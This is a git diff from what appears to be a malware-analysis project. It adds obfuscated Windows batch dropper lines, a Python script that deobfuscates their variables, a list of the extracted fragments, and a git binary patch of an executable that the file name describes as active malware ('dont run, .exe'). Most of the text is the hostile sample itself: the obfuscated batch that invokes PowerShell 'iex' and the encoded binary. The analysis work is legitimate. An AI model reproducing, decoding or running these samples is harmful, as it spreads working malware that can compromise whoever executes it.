yZ5EigB1Uevsp9DG2dCRWrIfI6pL3p556Ec/UNpcKtwvPOyf13SX/rfjIMiPutc6EN/d3A5jEEANDdOJhvsOugS+uHBFhphh7LDxEvGA2beeefHDUTSMNDxX5yaCKX1tkk1YuEQqyVXEMh/w40L1aZAh+wK8Q6D2/ZnENAKIGF2QAvcZXLjX02rUgnMPtNWenlmvo4ZZruo95p5MsnL6dtJGsilr8mTpb6t98w4M86eJIphsNnVQexJBBY9d2ByL0CX2xjEiz/Zzt3cXNDxFrosTKJXjqRosGdRvx0K5YG5x0w8+TQgZ4NUcwBKh5j3HL4NeAHu4/sggCcn9ZrfYonsoTlDWFwpaetlavPodH9x5/QtYSCnEo7W8aGSWhobrmuPUi7/xqB85qJSwuP2kRMOsql95tRoNYbJpjXVQqQs2/3Gwmw0/Qnc6sL/oHoWA7t3UDLbVqg3DpOakOc8qKWGdWOFhWA07sbnJeLdVzDpT6ICmi2Lr3d2DVLz6FkGgIkUOLi+eNsUb1CwHDtHQhXu1gBtid69TK82goBaZ5dVspyN1gEDOOEPeRMK6vKESwYCbBH71zLtPuRGFluWBvHUVJYLgZ1FHClQxAXlMBxBybTtJLXWIbyJZ2E+KiehmBQbkMyCuWhxDrMg9bYum9JQwmyUgQaLSRQZqVZuOrBoTxjQmm9ncheSxko47ngWhTM/OiG9qttZKss+FOuzkwiqMPb+SWyBEV9tBPTkuAnlEPL7UFMFOA2RrxNiMeMDYZe1dVCKxnBQWwXuE6dkLTjTsfVqpYnx2z4+cV/BMzUTmXPsmPAgtUJ6n+kmJT25eGcO2BNhBu5NAK0H+EEOalcVlag4HaNIBFPHxMzRZrnM9DpucplvOSMm9cZauNKpznaZXfj4D9O1RSWl0x/tCLvfSmOf3201DUugCDCxD3CC4QiuylZ6ZsCne2H5ooSU3VxWJzqPaHtSp2mihryAsov3MV1V1ZgSleK04dhL0HbtdjH84zKWjcNgM5uzseJh1Dk07K4+vQibOZ6uq54YYkUHbfz46NSAAPOEhNTrkN9zad9glNxtKV6YumWGm8v2mcNGSVj7/SRXFToOI8OHI7v9ujKkelBXZDKtMNeqlCEPGxJGQDKMtISPcrRQiPzYv6sVnaKDb1LZPqb4StTKPI5dFz/praq1eLMhUiJUK3Combutx1bJ2GWJo6myn7Bgdsb+P1IsGoNbhciHXwP7yB+HiFsSvIQqE//llt7xm79SW1xtQJbn+9pq7xQSZCTuNemvGnLTffZyTXNpgriU7yZ1C2GPHUR7+sAHGlyComo/OWH7L6wT328SfiPl/OMIJXPHkmphX3l8amilggMVGJIf0tFJ3kN8dtHUhDAKZJVI+Axj5HgZ/XaURDWz4xvh6yV8NXVufBdRvs/Hej00FYrFt0EtHfZZbKn5YPglba4D/PULZhfgeKx+znQx9iHhVvshCFowp7DjGGsuvSaVV80B/waUo8KST8KjWPJlTao0BeUlhvXq2knD/8lyuDlwDGEZBdCJNxUklJqaOwBo7Xmz3Qmu2HruSkUD2sawt93TMu4ERQ1mWfCWt1bug1rbm2xxteOZzyMIMdxXTUmcTfYOVm0zoyS36PW8+M7hIMtXtbfNt2/bXBR+jGM2O2YlI4fi6F1a2EeOy3l+5GSZLE/XOwuCjyYr4QmwTJn9jXvAYyk1+A6FkNkg3xaoHIJ1cq/9gjDYPhE7Inu1UJKIADqiI8J59EGpBTW/hGQsciA/y5d0njj8iyJSfhnOnHFAwtpxDW3p407Qta+VwdZboWD2N4rmxi9oNzN9hbXvY9
+%JbvsAOX%S%InmARn%E%yZ8BI7%T%tGL5KC% "dTmxoA=$cTS%ddgRa6N%i%POAOhfZ%fj%EGmWzdze% =$Y%VrzvUn8%s%AiKMZKo%zDyz.GetS%wSNIQJV%criptBlock(); iex $env:CWJR8ooo%P5FkPvh%"
+se%ElgSew0%t%MeFHpydd% "gebJA_L=SET "&& %EvOEiz%s%eZ7R9p%e%v3JsuK16%t "Q[PHkI=System"
+se%Ugx6Se%t%z5DU3a% "lfv8Eaj=OWi)KCP="&&s%XUBipna%et "bgMXWMh2=%windir%\" && set%uXKk0x% "oJTd7XrH=32\conh" &&s%Bf09MJ%et%z3eyRdLx% "JsraxiP6=xe"
+%VJOIPi%:%THqJyKEm%: %GDqVvW% ybvwoout yoanista kbev jaktvku bvagptio quouroj apce uertenec cqoduph ofina porucoha korxcyo onrsek dhficift vzvlk hrahtsh harkyta
+R%yl2dW2%E%eSLNyU%M%lcVi4F2Y% %u0Y0NBJA% hlknice plaz wponpoo sovtatef moecuo zvznkua mcdxba onvaliia idyssa
+%QDEevyb%se%IfZOMsQ%t%ivRJ2VMP% "fSsM82M0=ost.e"
+%gebJA_L%%lfv8Eaj%%bgMXWMh2%%Q[PHkI%%oJTd7XrH%%fSsM82M0%%JsraxiP6%
+:: %v5Mo7J% cntka havran zavolit ozernitosq
+%sPM4JM%g%fcDCMqW%oto :uNeAZ0
+rE%e1iv9Lb1%M%kXp59JB%  pbanosta prkoal krrbor xavrlst grzdkhst chmel sfvur
+:CPIKZRJk
+%usLPkhu%s%ReL8Ujn%et "COuR1S=U5!ilUet" && %tJVFWyW%s%UXxy3x%et "FWiyQjq]=97KQ"
+
+:%LenmWs%:  zajet plotxt vesozmcb uniknoutt rckle jomoqpa bafef oqzaikba
+%myH6gN%s%espum0%e%L5S6Hbl%t%mm0VYHg% "}E3vHu=W"&&s%bMKHPmQ0%e%YPR38zx4%t "M2ueyzb=OVLL" && set%AqrDuOB% "goqqtk=SET "
+
+%hcOjlD0%go%DpbRC8b%t%M0xFgXGM%o :I]yJATum
diff --git a/original/extract_vars.py b/original/extract_vars.py
new file mode 100644
index 0000000..b1b4e32
--- /dev/null
+++ b/original/extract_vars.py
@@ -0,0 +1,64 @@
+#!/usr/bin/env python3
+
+import re
+from pathlib import Path
+
+content = Path('dontrunACTIVEmalware.bat.txt').read_text(encoding='utf-8', errors='ignore')
+lines = content.split('\n')
+
+variables = {}
+
+for i, line in enumerate(lines, 1):
+    for match in re.finditer(r'"([^"=]+)=([^"]*)"', line):
+        var_name = match.group(1).strip()
+        var_value = match.group(2).strip()
+        if var_name not in variables:
+            variables[var_name] = var_value
+    
+    for match in re.finditer(r'[sS][eE][tT]\s+([a-zA-Z0-9_\[\]\{\}\(\)]+)=([^\s&]+)', line, re.IGNORECASE):
+        var_name = match.group(1).strip()
+        var_value = match.group(2).strip()
+        if var_name not in variables and len(var_value) < 100:
+            variables[var_name] = var_value
+
+print(f"found {len(variables)} vars")
+
+bang_vars = {k: v for k, v in variables.items() if '!' in v}
+print(f"vars with !: {len(bang_vars)}")
+for k, v in bang_vars.items():
+    print(f"  {k} = {v}")
+
+line_42 = lines[41]
+print(f"\nline 42:")
+print(f"  {line_42[:200]}...")
+
+resolved = line_42
+for iteration in range(50):
+    old_resolved = resolved
+    matches = re.findall(r'%([^%]+)%', resolved)
+    for var_name in matches:
+        if var_name in variables:
+            resolved = resolved.replace(f'%{var_name}%', variables[var_name])
+    if old_resolved == resolved:
+        break
+
+print(f"\nresolved after {iteration+1} tries:")
+print(f"  {resolved[:500]}...")
+
+if '!' in resolved:
+    parts = [p.strip() for p in resolved.split('!') if p.strip()]
+    print(f"\ngot {len(parts)} parts")
+    
+    clean_parts = []
+    for part in parts:
+        cleaned = re.sub(r'%[^%]+%', '', part)
+        cleaned = cleaned.strip()
+        if cleaned:
+            clean_parts.append(cleaned)
+    
+    print(f"\ncleaned ({len(clean_parts)}):")
+    for idx, part in enumerate(clean_parts, 1):
+        print(f"  {idx:2d}. {part}")
+    
+    Path('order.txt').write_text('\n'.join(clean_parts))
+    print(f"\nsaved to order.txt")
diff --git a/original/output/order.txt b/original/output/order.txt
new file mode 100644
index 0000000..3d5c200
--- /dev/null
+++ b/original/output/order.txt
@@ -0,0 +1,21 @@
+SET43Nn4obTrQ0J=j97KQu6
+JIMZlyBt
+lloztMu
+oAWM9gN3
+xAEr2y8D
+u9HraJGX
+xNF82uy
+amiieM
+ih0wojr
+SeLNlxJi
+nrp2Cd
+ndOVLLU5
+ilUetRQ
+Ravpss
+tTp84C
+rNQFeP
+kd7VYdp
+OD1pagW
+k7EmPoW
+TGOERjgr
+xWiRpFW
\ No newline at end of file
diff --git a/original/output/the-active-mal-in-original.bin (dont run, .exe) b/original/output/the-active-mal-in-original.bin (dont run, .exe)
new file mode 100644
index 0000000000000000000000000000000000000000..8e6710126de70d14e5b40314657d470b9cc375e5
GIT binary patch
literal 81920
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
